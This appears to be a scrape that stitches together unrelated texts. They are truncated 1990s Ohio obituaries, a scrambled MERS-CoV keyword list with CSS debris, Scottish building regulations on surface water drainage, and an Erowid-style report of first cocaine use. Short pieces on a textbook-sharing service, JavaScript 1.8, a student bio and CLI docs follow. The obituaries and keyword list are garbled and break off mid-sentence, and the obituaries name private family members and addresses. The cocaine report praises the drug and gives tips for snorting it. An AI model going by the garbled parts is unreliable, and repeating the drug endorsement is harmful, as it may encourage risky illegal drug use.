leaves his wife, Judy Masciarelli Biedenbach,
whom he married June 24, 1967, three daughters, Kimberly Biedenbach
and Cynthia Biedenbach, both of the home, and Christina
Biedenbach of Marietta; a son and sister-in-law,
Gregory and Lori Biedenbach of Woodsfield; three
sisters, Viola Burkhart of Canton, Evelyn Wasilewski
of Rhode Island and Mildred Nau of Caldwell; four
brothers, Arthur Biedenbach of Canton, Donald Biedenbach of Woodsfield and Bernard Biendenbach
and Dennis Biedenbach, both of Lewisville; a
granddaughter, Taylor Bidenbach of the home; and
several nieces and nephews.
Friends may call from 2 to 9
p.m. Friday at Watters Funeral Home, with vigil services at 8:30 p.m. Funeral
liturgy with mass will be 11
a.m. Saturday at St. Sylvester Catholic Church with the Reverend
Chester Pabin as the celebrant. Burial will follow in
the
November 11, 1995
DEATH
Melania King
Melania
L. King, 21, of
She was born November 20,
1973, in
She was a student at
In addition to her parents,
she leaves her maternal grandparents, Ellis and Vera Hines of
Friends may call from 2
to 9 p.m. today at Bauer-Turner Funeral home, Woodsfield, where services will
be 2 p.m. Sunday with Ronald Rossiter officiating.
Burial will be in
1995
DEATH
Sandra Thurmond
Sandra Kaye Thurmond, 51,
She was a member of the
United Church of Christ.
Surviving in addition to her
parents, she is survived by her husband, the Reverend Ed Thurmond; two sons,
Mark Hawkins of Manhattan, Kansas, and Robert Hawkins of Sheridan, Wyoming; a
daughter, Shelia Matzke of Lewisville; two step sons,
John Thurmond of Dillon, Colorado, and William Thurmond of Alamogordo, New
Mexico; a step daughter, Trisha Sanders of Carrolton, Texas; a sister, Judy Basinger of Dighton, Kansas; a brother, Billy Erskin of Corpus Christi, Texas, three grandchildren.
There will be no visitation.
Memorial contributions may be made to the Hospice of Guernsey,
Arrangements
by Watters Funeral Home, 37501 S. R. 78
1995
DEATH
Emerson Smith
W. Emerson Smith, 93, of
He was retired oil field
worker and driller and was a member of the Hartshorn
Ridge Church of Christ near Graysville. He was also a former school board
member of the former
In addition to his parents,
he was preceded in death by a son, Ronald Smith; three brothers, John, Mervin,
and L. E. Smith; two sisters, Cora Smith and Odessa Winters; a grandson.
Surviving are his wife,
Lillian Evans Smith; three daughters, Kathryn Stiles of Cambridge, Mrs. Bernard
(
Friends will be received at
the Watters Funeral Home, 97501 Ohio 78 West, Woodsfield, from 2 to 9 p.m.
Monday, where service will be held at 1 p.m. Tuesday with Evangelist Glen R.
Harris officiating. Burial in
January1995
DEATH
Thomas Cappadona
Source:
B. Thomas Cappadona, 59, of
He is survived by his wife,
Nancy S. of 1917 Cuba Road, Wilmington; three daughters and a son-in-law, Gwen
E, Cappadona of Canton, Corie
Cappadona of Columbus and Colleen and Bobby McMichael of Wilmington; three sons and daughters-in-law,
Greg and Elaine Cappadona of Mineral Wells, West
Virginia, Tom and Donna Cappadona of Florida, Joseph
and Terese Cappadona of New
York and four grandchildren.
Services were held January
18 at the Arnold Funeral Home in
1996
DEATH
Edna Christy
Edna Christy, 91, Woodsfield
Nursing and
A retired cook from the
Monroe County Home, in Woodsfield, she was a member of the Woodsfield Church of
Christ, Woodsfield.
In addition to her parents,
she was preceded in death by
her husband, Clarence Maywood Christy; a son, James E. Christy;
and infant son, two daughters, Lavina Christy and
Dorothy Harmon; three sisters, Della Spence, Lona Hilverding and Opal Lucas; two brothers, Floyd Smith and
Roy Smith; a grandson; a great grandson and a son-in-law.
Surviving are a son, C.
Eldon Christy; two daughters, Erma Dye of Shadyside and Cynthia Reger of
Friends will be received at
Watters Funeral Home, 37501 Ohio 78 West, Woodsfield, 3 to 9 p.m. Tuesday,
where funeral services will be Wednesday at 11 a.m., with Evangelist Harry
Summers officiating. Burial follows in the
1996
DEATH
James Weisend
James G. Weisend,
66,
He was a former construction
worker and a Navy veteran of World War II and Korean War. He was a member of
St. Joseph Catholic Church (Burkhart) near
In addition to his parents,
he was preceded in death by a brother, Charles Weisend.
Surviving are six sisters,
Emma Shelton of Pickerington, Mildred Carpenter of Lewisville, Elizabeth Ramsey
of Zanesville, Catherine Alvis and Rose Blackburn,
both of Houston, Texas, and Mary Ritterbeck of Akron;
three brothers, Ashton Weisend of Zanesville, Robert Weisend of Lewisville and Norbert Weisend
of Albuquerque, New Mexico; several nieces and nephews.
Funeral liturgy with Mass
was celebrated Saturday at 11 a.m. at St. Joseph Catholic Church (Burkhart)
near
April 24, 1996
DEATH
Robert Wise
Source: Barnesville Enterprise
Robert L. (Bob) Wise, 2, of
He was a retired
construction worker and a member of the Laborers Union Local 639,
In addition to his parents,
he was preceded in death by four brothers, Kenneth Wise, Paul Wise, Sylvan Wise
and John Wise, Jr.; and one sister, Shirley Leach.
Surviving are his wife,
Donna Brown Wise, whom he married December 11, 1948; one daughter, Mrs. Marion
(Connie) Hannahs of Lewisville; two sons, Frank Wise
of Barnesville and Tom Wise of Westerville; two sisters, Mrs. Raymond (Sara)
Snyder of Lewisville and Mrs. Herbert (Lavina) Woodby of Townsend, Tennessee; two brothers, Royden Wise of Caldwell and Jerald Wise of Woodsfield; four
grandsons, Mitch Hannahs, Mike Hannahs
Sam Hannahs, and Andrew Wise; and four great
grandchildren.
Friends were received at Burbach-Watters Funeral Home, Summerfield, on Tuesday,
where funeral services are being held at 1 p.m. today, April 24, with Reverend
William Pickenpaugh officiating. Burial will follow
in
1996
DEATH
Lloyd Smith
Lloyd P. Smith, 87,
He was a retired owner of
Smith Shoe Store, Woodsfield, and a member of the
In addition to his parents,
he was preceded in death by his wife, Erma Miller Smith; two brothers, Paul and
William E. Smith; a step grandson.
Surviving are a stepson,
Larry Clymer of Woodsfield; a step daughter, Joyce Davis of
Friends will be received 2
to 9 p.m. Monday at Bauer-Turner Funeral Home, Woodsfield, where services will
be held at 1 p.m. Tuesday, with the Reverend Donald Rock officiating. Burial
follows in
1996
DEATH
Michael Moore
Michael Danford
Moore, 45, 52577
He was preceded in death by
his paternal grandmother, Minnie Gislier, paternal
grandfather, Walton Moore; maternal grandfather, Charles McKeen.
He was an employee of
Operating Engineers Local 18, a Methodist, and a member of the Loyal Order of
Moose 2247, and Eagles Lodge 1202.
Surviving in addition to his
parents of Allendonia are his wife, Micki Roe Moore; two sons, Michael of Beallsville and Tony
of Parris Island, South Carolina; a daughter Cheyenne Moore of the home, two
brothers, Ronnie of Bethesda and Bill of Wooster; a sister, Mrs. Lawrence (Marva Sue) Pack of Jerusalem; his maternal grandmother, Leafa McKeen of Shadyside.
Friends will be received
Thursday, 2 to 9 p.m. at Harper Funeral Home, Beallsville, where services will
be held at 11 a.m.
Friday, with Pastor Bob Phillips officiating. Burial follows in
1996
DEATH
Roy Rice
Roy Rice, 85 102 Wood
Terrace, Woodsfield, died Thursday, February 22, 1996, at the
He was a retired laborer and
a member of the Laborers Union Local 639,
In addition to his parents,
he was preceded in death by two sisters, Gladys Schaffer and Blanche Thompson;
a brother, Howard Rice.
Surviving are his wife,
Mildred Foerenbach Rice; two sons, Roger of
Williamsville,
There will be no visitation.
Interment will be held at the convenience of the family in
Memorial contributions may
be made to the American Heart Association
1996
DEATH
Agnes Burkhart
Agnes L. Burkhart, 61, of
She was born May 26, 1934,
in
She was a member of
She is survived by her
husband, Norbert Burkhart of Beallsville; three sons, Larry and Don Burkhart,
both of Beallsville, and Bruce Burkhart of Wilkesboro, North Carolina; three
daughters, Jacqueline Palmer of Bethesda, Donna Robinson of Stafford and Tina
Burkhart of Beallsville; seven grandchildren and one brother, Karl Reischman of Quaker City.
Mass of Christian burial is at 11 a.m.
Friday at St. John the Baptist Catholic Church at Miltonsburg
with the Reverend Chester Paben officiating. Burial
is in
1996
DEATH
W. Ralph Christman
Source: Daily Jeffersonian
W. Ralph Christman,
65, of
He was born November 30,
1930, near
He was a retired heavy
equipment operator for the Ohio Operating Engineers, Local 18,
He was preceded in death by
three sisters, Neva Christman, Janice Powell and
Florence Wells; a brother, Clyde Christman.
He leaves his wife, Lodena Mercer Christman, whom he
married December 21, 1957; two sons and daughters-in-law, Ralph Keel and Penny
Christman of Barnesville and Ryan Todd and Robin Christman of Jerusalem; four sisters, Katherine Miller of
Cuyahoga Falls, Mrs. Melvin (Eva Pearl) Kennon and
Mrs. Charles (Peggy Jo) McLaughlin both of Barnesville, and Doris Green of New
Philadelphia; two grandchildren; several nieces and nephews.
Friends may call from 2 to 4
and 7 to 9 p.m. Wednesday at Watters Funeral Home, Woodsfield, where services
will be 11 a.m. Thursday with the Reverend Richard Wilson officiating.
Burial will be in
Memorial contributions may
be made to the Wheeling Dialysis Center, Patient Fund, in care of Wheeling
Hospital, 1 Medical Park, Wheeling, West Virginia 26003.
1997
DEATH
John Betts
Source:
John J. Betts, 72 of
He was the son of the late
Frank and Rosa Crawford Betts. He was born at his parents' home on Lewisville
Route 1 on January 11, 1925.
He attended school at
He is survived by his wife, Donna G. Betts,
of the home; three sons, Jaun and
In addition to his parents,
he was preceded in death by his first wife, Martha Lou (Mercer) Betts, five
brothers, Elbert Betts, of Lewisville, Clarence, George, Woodrow of the home, Vearl who died during the World War II in Foggia, Italy;
one sister of the home, Sara Betts.
Friends were received March
7 at the Schoedinger Funeral Home North Chapel,
Columbus, with Pastor
1997
DEATH
Nila Rippner
Nila
L. Rippner 75, Hillcrest Manor,
She was a retired secretary
and a member of the Trinity United Church of Christ at
In addition to her parents,
she was preceded in death by her husband, Alfred Rippner.
Friends will be received at
the Watters Funeral Home, 37051 Ohio 78 West, Woodsfield, 7 to 9 p.m. Thursday, where services
will be at 7:30 p.m. Thursday, with Pastor Marcia B. Werntz
officiating. Burial follows in
1997
DEATH
Roger Briggs
Roger W. Briggs, 81,
He was a retired inspector
and heavy equipment operator for various pipeline companies throughout the
area, a former airplane pilot, horse trainer and a Protestant.
In addition to his parents,
he was preceded in death by a brother, Walter Briggs; three sisters, Lillian
Ring, Edith Gray and Ethel Cox; a step daughter, Charlene Briggs.
Surviving are his wife,
Marcella Powell Briggs; five sons, Roger L. of Norfolk, Virginia, Larry of
Graysville, Buddy of Woodsfield, Ronnie of Barnesville and Bob of Summerfield;
three daughters, Linda Kurtz of Newark, Drema of
Ravenswood, West Virginia, Sheila of Washington Court House; two step
daughters, Linda Weaver of Somerset and Donna Starkey of Zanesville; two
stepsons, Richard Stotts of Summerfield and Roy Stotts of Zanesville; a sister Ruby Dressler of Roseville;
several grandchildren, several great grandchildren, several step grandchildren;
several step great grandchildren.
Friends will be received at
the Watters Funeral home, 37501 Ohio 78 West, Woodsfield, Thursday, from noon
until time of services at 2 p.m. with Harry Summers officiating. Burial follows
in
1997
DEATH
Ray Stegner
Ray E. Stegner,
73 of
He was retired from the Woodsfield Post
office after 30 years, serving 24 years as a window clerk and the last six
years as postmaster. Ray was a veteran of World War II, serving four years in
the U.S. Army, two of those in
He was proud to serve his
community in a number of ways. Ray was a member of the Woodsfield Board of
Education for 17 years and the Monroe County Board of Education for ten years,
serving as both president and vice president. He was also an active member of
the Woodsfield Kiwanis Club, the K of P Lodge, Ruritan
Club, Past Commander of the VFW and volunteer fireman. He was also a member of
the Switzerland of Ohio Country Club.
Ray was a faithful lifelong
member of the
Ray was a devoted husband,
father and grandfather. Surviving are his wife of 51 years, Eleanor Garrett Stegner; three children, Mrs. Dan (Marsha) Hissom of Worthington, Mrs. John (Marilyn) Forni of Woodsfield and Mark and wife Karen Davis Stegner of Arden, North Caroline; six grandchildren, Sarah
and Matthews Hissom, Noah and Adam Forni, Luke and Ashley Stegner;
three brothers, Harold of Woodsfield, Ed and Ralph of Fairborn.
He was preceded in death by
one granddaughter, Melissa Kay Forni.
Friends were received
February 9 at the Bauer-Turner Funeral Home, Woodsfield. Funeral service was
held at
Memorial contributions may
be made to the
1997
DEATH
Paul Zerger
Paul W. "Pete" Zerger, 64, of Woodsfield, formerly of
He was born November 1,
1932, in Woodsfield, son of the late Raymond and Wadena Gladys Allen Zerger.
He was a retired employee of
Glacier Vandervell Inc., Caldwell, and he was an Army
veteran of the Korean War. He was a member of Woodsfield Christian Church,
Woodsfield, and a past commander of VFW Post 4721, Caldwell; Loyal Order of the
Moose Lodge 221, Caldwell; Fraternal Order of the Eagles Aerie 2952, Caldwell;
and American Legion,
He leaves his wife, Martha Highman Graham Zerger, whom he
married May 20, 1995; two sons, Roy Zerger and his fiance, Christine Carmichael, of Pleasant City and Rick Zerger and his wife, Kitty of Caldwell; three
stepdaughters, Mrs. Ross (Debbie) Shannon of Worthington, Ellen Graham of
Dayton and Mrs. Tom (Letisha) Leach of Marietta,
Georgia; his stepmother, Eva Zerger of Woodsfield; a
step brother, Dean Tricebeau of Columbus; a step
sister, Bonnie Bogart of Lima; nine grandchildren and a great granddaughter.
Friends may call today from
2 to 9 p.m. at McVay-Perkins Funeral home,
Friends may also call from 2
to 9 p.m. Tuesday at Watters Funeral Home, Woodsfield, where services will be
11 a.m. Wednesday with Pastor Herbert Alexander officiating.
Burial will be in
1997
DEATH
Mary Carpenter
Mary Louise Carpenter, 85,
formerly of Stafford, and a resident of the Arbors Nursing Home,
She was born December 18,
1911, near
Ms. Carpenter was a
vocational home economics teacher and business education teacher at Stafford,
She was a member of
She was preceded in death by
a brother, Forest Carpenter.
She leaves her first cousin,
Evelyn Upchurch of Akron and Ruth Crooks of Indio, California; second cousins,
Stanley Carpenter of Lewisville, Betty Ogden of Woodsfield, William McElfresh of Blacksburg, Virginia, Mary Blanche Dunfee of Belmont, Roy Christy of Phoenix, Arizona , Carl
Miracle of Barberton, Nina Miracle Wilson of Youngstown and Jean Walsh of Chagrin
Falls.
Friends may call from 2 to 4
and 7 to 9 p.m. Thursday at McVay Perkins Funeral
Home, Caldwell where Eastern Star services will be 7:30 p.m. and Grange
services will be 8 p.m.
Services will be 11 a.m.
Friday at the funeral home with Pastor Fitzgerald officiating.
Burial will be in
1997
DEATH
Gary Baker
Gary Irvin Baker, age 60, of
Mr. Baker was born February
26, 1937, in
He was a member of the
Lewisville Methodist Church, retired employee of Ormet
Corporation in Hannibal; a member of the Steel Workers Union Local #5860;
Woodsfield Eagles Lodge #2302 and was a frequent of The Trail.
He is survived by his mother
Wilda Bagley of Missoula, Montana; one son Gary Brett
Baker and Toni of Blanchester, Ohio; three daughters; Carla Crum and Jeff of
Jerusalem, Debbie Foraker and Don (Beanie) of Caldwell and Tonja
Ward and Tim of Coshocton; 10 grandchildren; Adam and Joey Crum; Dustin, Kyla and Anthony Foraker; Jade Cody and Kyle Baker; Maddie Singleton, and Laken Ward.
He was preceded in death by
his father, Irvin Foraker and his wife, Ruth E. Hogue Baker in 1989.


camels MERS-CoV camel animals dromedary coronavirus virus Middle respiratory East [], animal {border-style human syndrome px;} #ffffff;} infection market Health antibodies Infect. risk shedding active close pens study transmission Dis. Saudi animals. contact Arabian Camel countries large potential slaughtering R.A. control different Perera grazing high markets showed usually Animals Emerg. M.A. assigned px; strategies {font-family Africa Arabia Chu Fig. Hendra Special []]. abattoirs font-size halls infected market. (MERS-CoV) Dromedary Hemida MERS S.A. body cases certain come double; health main milk number population positive prevalence reducing species transferred used vaccine viral D.K. E.A. Euro Farag M.G. Med. Respiratory Strategies Surveill. Syndrome Thus, Wang abattoir allowed approach based border-color border-width camels, dealing especially female group local male meat monitoring moved nasal neighboring novel people place practiced regions reported serological solid; strains studies surveillance time various {font-style {font-weight A.M. C.B. Chan Emerg However, L.L. Microbes Miguel People Poon Qatar Reusken SARS-CoV animals, bold case consumption courier; course distance dromedaries em; herd imported infection. mixed movement open outside paid particularly pathogens pen pens. precautions pt;} purposes quarantine reduce related reservoir separate shows slaughterhouse sold standard transportation transported van workers


3.6
domestic | environment | surface water drainage | 2009
ensure the disposal of
surface water
without threatening the
building
and the health and safety of the people in and
around the
building;
and
(b)
have facilities for the separation and removal of silt, grit and
pollutants.
3.6.0 Introduction
Climate change is expected to result in more rain in the future and it is
essential that this is taken into account in
buildings.
It is essential that the
surface water
from
buildings
is removed safely without damage to the
the environment by flooding or pollution.
PAN 61
Development of
building sites
generally leads to increased impermeable
areas that can significantly increase the amount of
surface water
run-off to be
dealt with. The approach to the disposal of
surface water
from
buildings
and
hard surfaces clearly needs to be considered at the earliest stage in the
design and development process (see also the Scottish Executive
Development Department's Planning Advice Note No. PAN 61 - Planning and
Sustainable Urban Drainage Systems).
For safety reasons it is essential that
surface water
is not permitted to collect
or remain on all access routes to
buildings,
particularly with elderly and
disabled people
in mind. Ponding in winter can cause slippery surfaces that
can be a hazard to pedestrians.
Controlled Activities
The discharge of
surface water
is a controlled activity under The Water
Environment (Controlled Activities) (Scotland) Regulations 2005. Under
these regulations
surface water
discharges to ground or water (wetlands,
surface water
s or groundwater) must be by means of a sustainable urban
drainage system authorised by The Scottish Environment Protection Agency
(SEPA).
Surface water
discharge from a single
dwelling
or its curtilage is
permitted to be by other means.
SEPA authorisation
Water conservation
In some localities there is growing pressure on water resources due to
changes in the climate and increasing expectations of personal hygiene. The
introduction of conservation measures, such as the collection of
surface
water
for its reuse is strongly encouraged to reduce the reliance on mains
water.
Explanation of Terms
Paved surface
– means any constructed hard surface more than 50 m
2
.
In the case of
conversions
, as specified in regulation 4, the
building
as
converted
must meet the requirement of this standard (regulation 12
schedule 6).
3.6
—
3.6.0
domestic | environment | surface water drainage | 2009
3.6.1 Surface water drainage from dwellings
Every
building
should be provided with a drainage system to remove
rainwater from the roof, or other areas where rainwater might accumulate,
without causing damage to the structure or endangering the health and
safety of people in and around the
building.
Where gutters and rainwater
pipes are used, they should be
constructed
and installed in accordance with
the recommendations described in BS EN 12056-3: 2000.
Eaves drop systems
Methods other than gutters and rainwater pipes may be utilised to remove
rainwater from roofs. An eaves drop system will allow rainwater to drop
freely to the ground. Where these are used, they should be designed taking
into account the following:
•
•
the protection of the fabric of the
dwelling
from ingress of water caused by
water splashing on the wall;
•
the need to prevent water from entering doorways and windows;
•
the need to protect persons from falling water when around the
dwelling;
•
the need to protect persons and the
building
fabric from rainwater
splashing on the ground or forming ice on access routes. The provision of
a gravel layer or angled concrete apron or such like may be acceptable;
•
the protection of the
building foundations
from concentrated discharges
from gutters.
Gutters and rainwater pipes may be omitted from a roof at any height
provided it has an area of not more than 8 m² and no other area drains onto
it.
3.6.2 Surface water drainage of paved surfaces
Every
domestic building
should be provided with a drainage system to
remove
surface water
run-off from paved surfaces, such as an access route
that is suitable for
disabled people
, without endangering the
building
or the
health and safety of people in and around the
building.
The paved surface
should be so laid as to ensure rainwater run-off is not close to the
building.
Paved surface drainage systems should be designed,
constructed
and
installed, either:
a. incorporating SUD system techniques as in clause 3.6.4; or
b. using a traditional piped drainage system as in clause 3.6.8.
3.6.3 Surface water discharge
Surface water
discharged from a
domestic building
and a hard surface within
the curtilage of a
domestic building
should be carried to a point of disposal
that will not endanger the
building
, environment or the health and safety of
people around the
building
.
Surface water
discharge should be to:
a. a SUD system designed and
constructed
in accordance with clause 3.6.4;
or
b. a soakaway
constructed
in accordance with:
•
clause 3.6.5; or
•
the guidance in BRE Digest 365, ‘Soakaway Design’; or
•
National Annex NA 4 of BS EN 752: 2008; or
c. a public sewer provided under the Sewerage (Scotland) Act 1968; or
d. an outfall to a watercourse, such as a river, stream or loch or coastal
waters, that complies with any notice and/or consent by SEPA; or
e. to a storage container with an overflow discharging to either of the 4
options above.
3.6.1
—
3.6.3
the existing groundwater level and ground infiltration capacity;
domestic | environment | surface water drainage | 2009
Discharge from a soakaway should not endanger the stability of the
building.
Damage to the
foundations
is likely to occur where discharge is too close to
the
building
and it is sensible to ensure that any water bearing strata directs
water away from the
building.
Location of soakaway
To prevent such damage therefore, every part of a soakaway should be
located at least 5 m from a building and from a
boundary
in order that an
adjoining plot is not inhibited from its full development potential. However the
volume of
surface water
run-off, ground strata or permeability of the soil may
influence this dimension and it may be reduced, or indeed may need to be
increased, to preserve the structural integrity of the
building.
3.6.4 Sustainable Urban Drainage Systems
Sustainable urban drainage (SUD) is a concept that focuses decisions about
drainage on the environment and people. The concept takes account of the
quantity and quality of
surface water
run-off and the amenity value of
surface
water
in the urban environment.
The variety of design options available allows designers and planners to
consider local land use, land take, future management and the needs of local
people. SUD systems often stretch beyond the confines of the curtilage of
individual
buildings
but need to be considered as a whole.
Fundamental to a successful SUD system is a management train that allows
for a range of components to be incorporated for control or management of
surface water,
such as:
•
Source Control
– control of run-off at or very near its source by
components including soakaways, other infiltration methods, green roofs
or permeable surfaces.
•
Site Control
– management of
surface water
within a
building site
by
components including large soakaways, infiltration systems or detention
basins.
•
Regional Control
– management of
surface water
from
building sites
by
components including balancing ponds or wetlands.
SUD systems range from the use of basic components such as permeable
materials that allow
surface water
to infiltrate to ground in a way that can
mimic natural drainage, to more complex engineered components including
filter strips, swales, or wet ponds that will convey or store
surface water
. The
CIRIA document C697 ‘The SUDS Manual’ 2007 provides comprehensive
advice on initial drainage design assessments and best practice guidance on
the planning, design,
construction
, operation and maintenance of SUD
systems.
Brownfield
sites
Careful consideration should be given to the design of
surface water
drainage from brownfield land, particularly where contamination might be
expected. SEPA provides guidance in their SUDS Advice Note – ‘Brownfield
Sites’. Generally SUD systems are designed to utilise natural processes and
regular monitoring and maintenance will be needed to ensure the system as
conceived is operating as intended.
3.6.5 Soakaways serving single dwellings and extensions
Soakaways have been the traditional method of disposal of
surface water
from
buildings
and paved areas where no mains drainage exists. A
soakaway serving a single
dwelling
or an extension should be designed and
constructed
in accordance with the following guidance:
3.6.3
—
3.6.5
domestic | environment | surface water drainage | 2009
a. test the suitability of the ground in accordance with the percolation test
method in clause 3.9.1. The trial holes and the finished soakaways should
dimension may be reduced slightly on small
sites
where ground conditions
allow, such as very well draining soil;
b. there should be individual soakaways for each
dwelling.
The soakaways may be sized using the following simplified formulae derived
from BRE Digest 365:
(A x 0.0145) – (a x f x 900) = S
Where - A is the area to be drained in m².
a is the internal surface area of the soakaway to 50% effective
depth, excluding the base in m². This has to be assumed for
initial calculation purposes.
f is the soil infiltration rate, in m/s, determined in accordance with
clause 3.9.1. This calculation produces Vp in secs/mm
[conversion = (1/Vp) /1000].
S is the required storage in m³.
3.6.6 Surface water run-off from small paved areas
Free draining
surface water
run-off may be appropriate for small hard surface
areas, such as access paths. Free draining run-off can be achieved by
laying the surface to a fall, sufficient to avoid ponding, that allows the water to
drain to a pervious area, such as grassland, provided the infiltration capacity
of the ground is not overloaded. Also the discharge should not be adjacent
to the
building
where it could damage the
foundations.
3.6.7 Rainwater harvesting
Rainwater harvesting systems allow
surface water
run-off from
dwellings
or
hardstanding areas to be collected, stored and distributed thereby reducing
the demand for potable water, the load on drainage systems and
surface
water
can produce benefits to the home owner and the environment and
therefore is recommended.
Rain, as it falls on
buildings,
is soft, clear and largely free of
contaminants. During collection and storage however there is potential for
contamination. For this reason it is recommended that recycled
surface water
is used only for flushing water closets, car washing and garden taps as it is
not possible to guarantee the necessary maintenance of complex filters that
would be essential if it were used for consumption or personal hygiene.
Manufacturers of proprietary systems or guidance documents such as CIRIA
C539 or 'Harvesting Rainwater for domestic use: an information guide'
published by the Environment Agency provides helpful guidance on design
considerations.
Water Byelaws 2004
Where a rainwater harvesting system is to be installed it should be designed,
constructed
and installed in accordance with the Water Byelaws 2004, the
recommendations of the Water Regulations Advisory Scheme (WRAS)
Information and Guidance Notes No. 9-02-04 and 9-02-05, 1999. BS 8515:
2009 'Rainwater harvesting systems - Code of Practice' and the CIRIA
publication CIRIA C539; ‘Rainwater and greywater use in
buildings',
provide
good practice installation, design and maintenance advice. The approval of
WRAS 9-02004
3.6.5
—
3.6.7
domestic | environment | surface water drainage | 2009
Scottish Water is needed before any such scheme is installed.
Filtration
Prior to the storage of water in a tank the rainwater should be filtered to
remove leaves and other organic matter and dust or grit. Disinfection may be
required if the catchment area is likely to be contaminated with animal
faeces, extensive bird droppings, oils or soil.
Water storage tanks should be
constructed
of materials such as GRP,
high-density polyethylene, steel or concrete and sealed and protected
against the corrosive effects of the stored water and to prevent the ingress of
ground water if located underground.
Pipework identification
Water for use in the
dwelling
should be extracted from just below the water
surface in the tank to provide optimum water quality. All pipework carrying
rainwater for use in the
dwelling
should be identified as such in accordance
with the WRAS guidance notes and great care should be taken to avoid
cross-connecting reclaimed water and mains water. Tanks should be
accessible to allow for internal cleaning and the maintenance of inlet valves,
sensors, filters or submersible pumps. An overflow should discharge to a
soakaway (see guidance to standard 3.6) or to mains drainage where it is not
reasonably practicable to discharge to a soakaway. Backflow prevention
devices should be incorporated to prevent contaminated water from entering
the system.
3.6.8 Traditional drainage systems
There can be substantial advantages from the use of SUD systems, but
where a traditional piped system is required it should be designed and
constructed
in accordance with the guidance in National Annex of
BS EN 752: 2008.
3.6.9 Discharges into a drainage system
Where a discharge into a traditional drainage system contains silt or grit, for
example from a hard standing with car wash facilities, there should be
facilities for the separation of such substances. Removable grit interceptors
should be incorporated into the
surface water
gully pots to trap the silt or grit.
3.6.10 Testing
A
surface water
drainage system should be tested to ensure the system is
laid and is functioning correctly. Testing should be carried out in accordance
with the guidance in BS EN 1610: 1998.
3.6.7
—
3.6.10


tonight i did coke for the first time. i had always been interested in it. actually, i'm writing a screenplay about cocaine addiction, and i thought 'how can i write about something i dont know??' i researched a lot, but i had no experience. besides, i just wanted to do coke, plain and simple.
so, my friend natasha and i planned a day to do coke. it took a lot of phone calls and hassle, but it turned out well: i got two grams from my ex-girlfriend and also an eight-ball (3.5 grams) from natasha's boyfriend's friend (sorry, thats complicated). we went to pick up the two grams and we each did two lines immediately. all i really felt was my tongue and the roof of my mouth going numb. then we had to go to the bank and pick up our friend. we picked her up, then we each did a line. we got numb but didnt feel anything. NOTE: natasha and our friend have done a lot more drugs, they used to tweak a lot. i had only taken pills and smoked weed once. anyway, we were driving to T's house (the guy with the eight-ball).
suddenly it HIT ME - the music in the car started to feel like magic, like it was surrounding me, and i just felt SO GOOD. it didn't feel all gross and drug-ish like pills sometimes make me feel. just clean goodness. it was intense for maybe two minutes, then wore down to a really nice feeling. the other girls still didn't feel it.
we got to T's house and did some more lines. his coke was better (my ex pinched some of ours too). we all got really talkative within five or ten minutes. we just started having these fast conversations, really great conversations, but we kept jumping topics. i just felt like there was so much to say. i feel cheesy saying this, but it was totally bonding. we kept doing lines every fifteen minutes or so for quite a while. i just felt really happy and talkative and comfortable. after about an hour and a half my teeth started grinding, but i didnt feel bad at all. we went out to smoke, which was really nice. it kind of cleared my nose and throat. we did some more lines and talked and talked. about an hour later my teeth were grinding like hell and my mouth was really dry, but i still felt great. i had to get home, so we (me, natasha, our friend) left T's house and started home (we live about forty minutes away from him).
in the car we all smoked, but i started chain-smoking. i didnt feel bad at all, just that my stupid teeth were crunching away constantly. it was hard to talk without chattering, but it was merely an annoyance. natasha made me stop smoking so i wouldnt get sick (i dont smoke often) and we just talked all the way home. now i'm sitting here writing, and my pupils are pretty large, my teeth are grinding a whole lot, and i'm kind of jittery. sometimes the computer screen kind of wiggles. i can stop my teeth grinding by concentrating, but as soon as my mind wanders, it starts up again.
so now i can write my screenplay much better, having experienced coke. i am excited to revise some stuff.
i really liked this drug. i dont like pot (i hate the smell and it just makes me weird). coke is perfect for me. i can still function just fine (i just went in my mom's room to check in with her when i got home, she couldnt tell at all).
the grinding teeth are annoying, and my jaw is going to be really sore, but this was a great experience. i never want to be a cokehead, but i definitely plan on doing it again.
i think these are good observations: chew gum (so my teeth wont grind as much), drink water (i got sooo dehydrated), and make your lines longer and skinnier rather than short and fat (it doesnt hurt as much). all in all, a success!
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


more information+
Say you want to buy a textbook and you are only going to need it a couple days a week in the afternoon. Say you also don't want to pay full price for that textbook. This platform helps you post and find timeshares for every day items like your textbooks. Simply post your item or search for matching items in your area.
With our service you are able to use resources more efficiently while also saving money. Posting have start and end dates and if participants keep with checking in and sharing items for the duration of the posting they will be reimbursed an equal share of the cost of the item.


So what are the new stuff in the JavaSscrip 1.8 implemented in Firefox 3? Let's go through it quickly:
First of all JS 1.9 is enaable only by adding following script tag:

Very interesting thing is Lambda notation which is a bit similar to C# Lambda Expressions.
Code is worth to show:
JavaScript 1.7 and older:
function(x) { return x * x; }
JavaScript 1.8:
function(x) x * x
It looks very nice, but I'm not sure how readable such code will be if this feature will be overused.
Also Generator Expressions look interesting. But the code might not always be obvious to read.
Compare the samples:
In JavaScript 1.7, you might write something like the following in order to create a custom generator for an object:
function add3(obj) { for ( let i in obj ) yield i + 3; } let it = add3(someObj); try { while (true) { document.write(it.next() + "
\n"); } } catch (err if err instanceof StopIteration) { document.write("End of record.
\n"); }
In JavaScript 1.8, you can circumvent having to create a custom generator function by using a generator expression instead:
let it = (i + 3 for (i in someObj)); try { while (true) { document.write(it.next() + "
\n"); } } catch (err if err instanceof StopIteration) { document.write("End of record.
\n"); }
Behind the thing that I have never used let statement, I'm don't believe it is supported in IE (7) which I must target. However,
(i + 3 for (i in someObj))
looks nice.
Array object has two additional methods: reduce and reduceRight. Very useful things that are available (in a similar way) in most JS libraries (ExtJS has ForEach) that iterates through all the elements of an array. Nice to have a build-in support for it, but since it is not a part of ECMA-262 standard I'd never use it.
So, as far as I can see the JavaScript 1.8 implementation is intended to allow developers write less code. But I'm not going to use it just now and just because of I'd rather write some additional "old"-manner code lines but have cross-browser support.


Kasuni Maheeshi Abeykoon currently studies as a Psychology & Bussiness undergraduate at CIIHE - Colombo International Institute of Higher Education Sri Lanka . Kasuni does research in Organizational Psychology ,Neuroscience ,Neuromarketing and Consumer Psychology
Maheeshi Abeykoon
Industrial-Organizational Psychology Undergraduate


tau.cli.commands.application package¶
tau application
subcommand.
Submodules¶
tau.cli.commands.application.create module¶
tau application
subcommand.
tau.cli.commands.application.delete module¶
tau application
subcommand.
tau.cli.commands.application.edit module¶
tau application
subcommand.
tau.cli.commands.application.list module¶
tau application
subcommand.


Gravity:
Ball Radius:
Initial X:
Initial Y:
Initial Speed:
